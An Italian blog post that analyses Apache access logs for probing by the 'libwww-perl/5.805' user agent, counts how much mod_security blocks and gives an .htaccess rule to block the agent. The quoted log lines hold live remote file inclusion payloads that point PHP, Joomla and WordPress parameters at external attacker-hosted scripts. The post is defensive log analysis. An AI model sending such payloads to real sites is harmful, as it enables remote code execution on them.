Leggendo i log ho scoperto... #2

... che oltre a Jackarta anche libwww-perl/5.805 sembrerebbe essere una user agent comune ai molti spambot, in particolare a quelli alla ricerca di exploit nel nostro sito web.

$ zgrep 'libwww-perl/5.805' access.log.*
82.85.127.171 - - [14/Aug/2008:00:37:34 -0700] "GET /blog/bookmark/?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt? HTTP/1.1" 200 29732 "-" "libwww-perl/5.805"
82.85.127.171 - - [14/Aug/2008:00:37:37 -0700] "GET /?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt? HTTP/1.1" 200 4897 "-" "libwww-perl/5.805"
82.85.127.171 - - [14/Aug/2008:00:37:38 -0700] "GET /blog/?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt? HTTP/1.1" 200 54193 "-" "libwww-perl/5.805"
# ...
217.64.195.229 - - [13/Aug/2008:08:52:15 -0700] "GET /code/apachelog2feed/docs/%20.../*.php?page=http://www.handowire.com/bbs/Paddy/id.txt???? HTTP/1.1" 503 620 "-" "libwww-perl/5.805"
217.64.195.229 - - [13/Aug/2008:08:52:16 -0700] "GET /code/fileiterator/docs/*.php?page=http://www.handowire.com/bbs/Paddy/id.txt???? HTTP/1.1" 503 620 "-" "libwww-perl/5.805"
217.64.195.229 - - [13/Aug/2008:08:52:16 -0700] "GET /code/fileiterator/docs/ap%20.../*.php?page=http://www.handowire.com/bbs/Paddy/id.txt???? HTTP/1.1" 503 620 "
# ...
89.111.173.45 - - [13/Aug/2008:12:28:16 -0700] "GET /blog/2005/09//administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=http://www.clever-gesundbleiben.de/templates/.../sistem.txt??? HTTP/1.1" 503 620 "-" "libwww-perl/5.805"
# ...
74.200.206.130 - - [03/Jul/2007:10:14:54 -0600] "GET //wp-content/plugins/wordtube/wordtube-button.php?
wpPATH=http://www.ws-usa.com/uni/error.txt? HTTP/1.1" 404 6093 "-" "libwww-perl/5.805"
74.200.206.130 - - [03/Jul/2007:10:55:16 -0600] "GET /wp-content/plugins/wordtube/wordtube-button.php?
wpPATH=http://www.ws-usa.com/uni/error.txt? HTTP/1.1" 404 6099 "-" "libwww-perl/5.805"

Lo strumento prova ad eseguire diversi tipi di attacchi basati su vulnerabilità conosciute, come ad esempio:

  • il tentativo di sfruttare register_global se impostato a on, come su vecchie versioni di PHP
  • il tentativo di passare valori arbitrari a parametri comuni come page per verificare l'eventuale esecuzione di script esterni
  • il tentativo di sfruttare vulnerabilità note di Joomla, indipendentemente se installato o meno
  • il tentativo di sfruttare vulnerabilità note di WordPress, indipendentemente se installato o meno

Come potete notare dall'HTTP code 503 a fianco di alcune righe di log, molti di questi tentativi di attacco sono prontamente inibiti da Apache a patto che abbiate attivo il modulo mod_security. Tuttavia, mod_security blocca solo una parte di questi tentativi, come dimostra il calcolo seguente.

$ zgrep 'libwww-perl/5.805' access.log.* | grep -c ' 503 '
453
$ zgrep 'libwww-perl/5.805' access.log.* | grep -c ' 200 '
523

Per questo motivo potete procedere escludendo lo scomodo utente tramite .htaccess.

# Block libwww-perl/5.805 from attempting to exploit security vulnerabilities
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^libwww\-perl/5\.805 [NC]
RewriteCond %{QUERY_STRING} .
RewriteRule (.*) - [F,L]